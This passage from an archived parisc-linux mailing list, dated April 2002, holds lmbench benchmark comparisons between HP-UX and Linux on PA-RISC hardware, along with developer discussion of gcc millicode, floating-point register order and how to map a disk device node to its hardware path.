Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  1 23:42:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B547482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Apr 2002 23:42:47 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 2D785BD02
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Apr 2002 23:42:46 -0700 (MST)
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14485

Hello parisc-linux hackers,


Here are the LM Bench Mark results I recently ran on my C200+.  The
HP-UX 10.20 bits are a couple of years old and not current on patches.

The 2.4.18-pa11 box is running debian unstable and is current.

Neither OS was tuned for this bench mark, but but OS were run on the
same box with the Same hardware configuration.


Hopefully these results someone will find interesting.....

- Ryan



                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
vega      HP-UX B.10.20    hppa2.0-hp-hpux10.20  200
vega      HP-UX B.10.20    hppa2.0-hp-hpux10.20  200
vega      Linux 2.4.18-       hppa2.0-linux-gnu  200
vega      Linux 2.4.18-       hppa2.0-linux-gnu  200

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
vega      HP-UX B.10.20  200 0.83      25.9 37.9 160.1 8.15 30.2 1855 5224 19.K
vega      HP-UX B.10.20  200 0.82      26.0 40.3 157.5 8.11 30.2 1827 5185 19.K
vega      Linux 2.4.18-  200 1.46 2.89 15.8 18.7 151.5 5.01 29.1 12.K 35.K 102K
vega      Linux 2.4.18-  200 1.46 2.86 15.9 18.7 151.9 5.01 28.9 12.K 35.K 101K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
vega      HP-UX B.10.20 9.020   11.4  452.3  361.5  347.0   173.1   399.6
vega      HP-UX B.10.20 9.010  279.5   24.9   31.0  357.2    49.7   286.8
vega      Linux 2.4.18- 2.760   42.3  158.1   51.2  177.9    53.3   181.2
vega      Linux 2.4.18- 3.460   42.3  158.8   52.7  180.2    53.9   180.5

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
vega      HP-UX B.10.20 9.020  64.4 79.2 119.4 554.9 126.8 411.2 309.
vega      HP-UX B.10.20 9.010  46.9 82.7 116.2 614.5 128.4 290.3 289.
vega      Linux 2.4.18- 2.760  28.9 47.7  77.4 187.6  98.5 273.0 425.
vega      Linux 2.4.18- 3.460  32.4 49.1  77.7 192.5  98.6 273.6 434.

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
vega      HP-UX B.10.20  12.8K 8403.4  22.2K 8403.4  7807.8K  20.7   10.7K
vega      HP-UX B.10.20  13.2K 8403.4  22.2K 8333.3  7749.9K  37.2   10.7K
vega      Linux 2.4.18-  185.2   33.2  601.0   78.3    35.7K 2181.    26.0
vega      Linux 2.4.18-  185.9   33.1  606.4   78.8    10.0K 2166.    25.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
vega      HP-UX B.10.20 165. 101. 40.4  102.8  136.2   87.9   65.1 119. 101.9
vega      HP-UX B.10.20 177. 103. 67.8  103.5  138.4   86.4   63.9 121. 101.4
vega      Linux 2.4.18- 19.7 20.0 18.8   35.3  240.3  125.3  127.8 239. 196.6
vega      Linux 2.4.18- 19.7 20.0 36.5   30.9  240.0  126.1  127.7 240. 196.8

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
vega      HP-UX B.10.20   200  15.0   15.0  518.6    No L1 cache?
vega      HP-UX B.10.20   200  15.0   15.0  519.0    No L1 cache?
vega      Linux 2.4.18-   200  15.0   15.0  287.2    No L1 cache?
vega      Linux 2.4.18-   200  15.0   15.0  286.7    No L1 cache?




From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] and more lmbench results
Date: Mon, 1 Apr 2002 22:48:55 -0800
Lines: 89
Approved: news@gmane.org
Message-ID: <20020402064855.GA469@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621204 5932 80.91.229.3 (22 Nov 2014 01:53:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  1 23:49:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413174833
	for <parisc-linux@parisc-linux.org>; Mon,  1 Apr 2002 23:49:02 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ubvhmaaa for parisc-linux@parisc-linux.org; Mon, 1 Apr 2002 23:48:10 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16sI6B-000089-00; Mon, 01 Apr 2002 22:48:55 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14486

while we are on the subject, posting these per Grant's request:

gsyprf10 == Quad 500MHz PIII Xeon 768M RAM
pippin == Dual 800Mhz ia64 2G RAM
legolas == 400MHz c3000 parisc 2G RAM


                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
gsyprf10  Linux 2.4.18-       i686-pc-linux-gnu  500
gsyprf10  Linux 2.4.18-       i686-pc-linux-gnu  500
pippin     Linux 2.4.17                  pippin  800
legolas   Linux 2.4.18-                 legolas  399

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
gsyprf10  Linux 2.4.18-  500 0.66 1.15 3.98 6.11  63.1 1.79 5.42 500. 1695 5942
gsyprf10  Linux 2.4.18-  500 0.66 1.12 4.01 6.26  57.9 1.82 5.42 501. 1698 6003
pippin     Linux 2.4.17  800 0.56 0.81 2.89 4.69  38.3 1.07 3.52 381. 1559 7058
legolas   Linux 2.4.18-  399 0.70 1.26 6.78 7.46  62.0 2.18 14.7 3030 9459 27.K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
gsyprf10  Linux 2.4.18- 3.360   11.9   43.1   18.6   45.7    19.4    54.4
gsyprf10  Linux 2.4.18- 3.540   12.1   43.1   19.4   46.2    19.4    46.8
pippin     Linux 2.4.17 6.350 9.5200   35.7   18.4   42.7    19.4    69.7
legolas   Linux 2.4.18- 1.260 1.2100 1.0400   20.2   84.6    27.4    97.3

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
gsyprf10  Linux 2.4.18- 3.360  14.8 35.6  80.7 123.3  98.1 151.3 227.
gsyprf10  Linux 2.4.18- 3.540  14.7 35.3  80.5 123.0  98.4 150.1 225.
pippin     Linux 2.4.17 6.350  17.1 32.0  44.1  73.2  60.0 104.6 111.
legolas   Linux 2.4.18- 1.260  12.7 19.2  29.4  57.4  35.6  80.0 143.

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
gsyprf10  Linux 2.4.18-   62.2   10.3  174.5   31.2   4049.0 1.448 5.00000
gsyprf10  Linux 2.4.18-   62.2   10.3  174.6   31.2   3924.0 1.437 5.00000
pippin     Linux 2.4.17   89.8   26.4  195.2   57.7   5460.0 1.298 4.00000
legolas   Linux 2.4.18-  102.5   42.5  392.2   81.8    15.2K 695.2    11.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
gsyprf10  Linux 2.4.18- 227. 220. 99.3  207.0  280.1  185.3  160.1 280. 214.3
gsyprf10  Linux 2.4.18- 218. 221. 106.  206.4  280.1  185.2  160.2 280. 214.3
pippin     Linux 2.4.17 600. 464. 315.  267.9  160.7  428.4  106.8 161. 222.2
legolas   Linux 2.4.18- 47.8 48.9 82.3   74.0  472.9  205.2  207.5 472. 474.7

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
gsyprf10  Linux 2.4.18-   500 6.001   36.0  212.1
gsyprf10  Linux 2.4.18-   500 6.002   36.0  212.1
pippin     Linux 2.4.17   800 3.786   27.8  244.1
legolas   Linux 2.4.18-   399 7.502 7.5020  184.8    No L1 cache?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: $$remI corner case
Date: Tue, 2 Apr 2002 21:00:26 +0930
Lines: 23
Approved: news@gmane.org
Message-ID: <20020402113026.GA1042@bubble.sa.bigpond.net.au>
References: <m16s4kv-000KUzC@phantom.home> <200204011728.g31HSfJ3000127@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621204 5933 80.91.229.3 (22 Nov 2014 01:53:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:24 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 04:30:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta06ps.bigpond.com (mta06ps.bigpond.com [144.135.25.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id F16CB482A
	for <parisc-linux@parisc-linux.org>; Tue,  2 Apr 2002 04:30:56 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.81]) by
          mta06ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GTXUMU00.0XL for <parisc-linux@parisc-linux.org>; Tue, 2 Apr
          2002 21:30:30 +1000 
Original-Received: from CPE-144-136-176-14.sa.bigpond.net.au ([144.136.176.14]) by psmam05.mailsvc.email.bigpond.com(MailRouter V3.0i 107/859949); 02 Apr 2002 21:30:27
Original-Received: (qmail 19426 invoked by uid 179); 2 Apr 2002 11:30:26 -0000
Mail-Followup-To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200204011728.g31HSfJ3000127@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14487

On Mon, Apr 01, 2002 at 12:28:40PM -0500, John David Anglin wrote:
> > > I added $$dyncall to milli64.S and modified t-linux to use milli64.S.
> > > This fixes the arith-rand.c fail and there are no other regressions,
> > > so I think we can use milli64.S on both the 32-bit and 64-bit ports.
> > 
> > It looks like the appropriate #ifdefs are present in milli64.S so
> > that it can be used as-is for 32-bit (so long as the "pa64" CPP
> > symbol is properly defined).
> 
> We have the appropriate #ifdefs and defines to handle the different
> return conventions.  My only real concern was some corner case arising
> from the difference in register size.  If Alan doesn't recall anything
> in the next day or so, I will apply the patch to the gcc trunk.

No, I don't recall any such corner cases, but then I don't think
I ever looked into the code in any detail.  It was more a case of
doing robotic edits to suit the gcc build machinery.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Tue, 2 Apr 2002 08:47:31 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20020402084731.C26273@systemhalted>
References: <20020330151130.B16616@systemhalted> <200203302132.g2ULWNcp028559@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621205 5939 80.91.229.3 (22 Nov 2014 01:53:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, will@misconception.org.uk
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 06:46:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8AD0482A
	for <parisc-linux@parisc-linux.org>; Tue,  2 Apr 2002 06:46:32 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g32DlVk26793;
	Tue, 2 Apr 2002 08:47:31 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, will@misconception.org.uk
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200203302132.g2ULWNcp028559@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, Mar 30, 2002 at 04:32:23PM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14488

> 
> I some situations, the callee needs to save the argument registers on
> the stack.  There are 4 words reserved for this.
> 

Okay. I'll see if I can find those in the documentation.

> > 	int	gr26	fr7	-----		===	float
> > 	int	gr25	fr6	float		===	-----
> > 	---	gr24	fr5	-----		---	-----
> > 	---	gr23	fr4	-----		---	-----
> 
> You've got the order of the float registers reversed.  They are allocated
> in order of increasing number starting with fr4.
> 

Ah! Excellent. After looking at some more assembly output and reading...
I should have realized that it was the other way around :) Thanks.

Now some of my register allocation guessing is coming out correct :}

Serves me right for using complex examples all the time.

c.




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 02 Apr 2002 16:08:16 +0200
Organization: H.P
Lines: 40
Approved: news@gmane.org
Message-ID: <3CA9BB50.1FCEBDF4@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9795208170F1B06BC80E7099"
X-Trace: ger.gmane.org 1416621205 5941 80.91.229.3 (22 Nov 2014 01:53:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:25 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 07:12:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A1AF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Apr 2002 07:12:15 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 53DD26A2
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Apr 2002 16:12:13 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA22559 for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Apr 2002 16:11:25 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14489

This is a multi-part message in MIME format.
--------------9795208170F1B06BC80E7099
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi all.
I'm still looking for the HPA/SPA of the SCSI/IDE controler of a disk.
I've found, and able to write the system tree (like ioscan). The starting
point is "root". Now my problem is to find which controler for which disk.
The pointer of the disk (/dev/sd??) is the node. Example:
/dev/sda2 ->> sda2 -> 0x802 -> major:0x8 -> driver "sd" with minor:0x02
Now how can I link 0x802 to hardware path "2/0/1"
So where is the link between both ????? Do you have any idea ?????

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------9795208170F1B06BC80E7099
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------9795208170F1B06BC80E7099--




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 2 Apr 2002 15:23:36 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020402152336.D31497@parcelfarce.linux.theplanet.co.uk>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621205 5949 80.91.229.3 (22 Nov 2014 01:53:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:25 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 07:23:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B398482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Apr 2002 07:23:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16sPCC-0004gk-00; Tue, 02 Apr 2002 15:23:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CA9BB50.1FCEBDF4@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Tue, Apr 02, 2002 at 04:08:16PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14490

On Tue, Apr 02, 2002 at 04:08:16PM +0200, Bruno Vidal wrote:
> 	Hi all.
> I'm still looking for the HPA/SPA of the SCSI/IDE controler of a disk.
> I've found, and able to write the system tree (like ioscan). The starting
> point is "root". Now my problem is to find which controler for which disk.
> The pointer of the disk (/dev/sd??) is the node. Example:
> /dev/sda2 ->> sda2 -> 0x802 -> major:0x8 -> driver "sd" with minor:0x02
> Now how can I link 0x802 to hardware path "2/0/1"
> So where is the link between both ????? Do you have any idea ?????

Hmm.  If you can get to the pci_dev or parisc_device for a scsi disc,
we have functions for returning the hwpath:

print_pci_hwpath
get_pci_node_path
print_pa_hwpath
get_node_path

I'm not sure how to get from `sda2' to the pci_dev of the controlling device.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 02 Apr 2002 16:36:03 +0200
Organization: H.P
Lines: 49
Approved: news@gmane.org
Message-ID: <3CA9C1D3.6C56D0AF@admin.france.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402152336.D31497@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
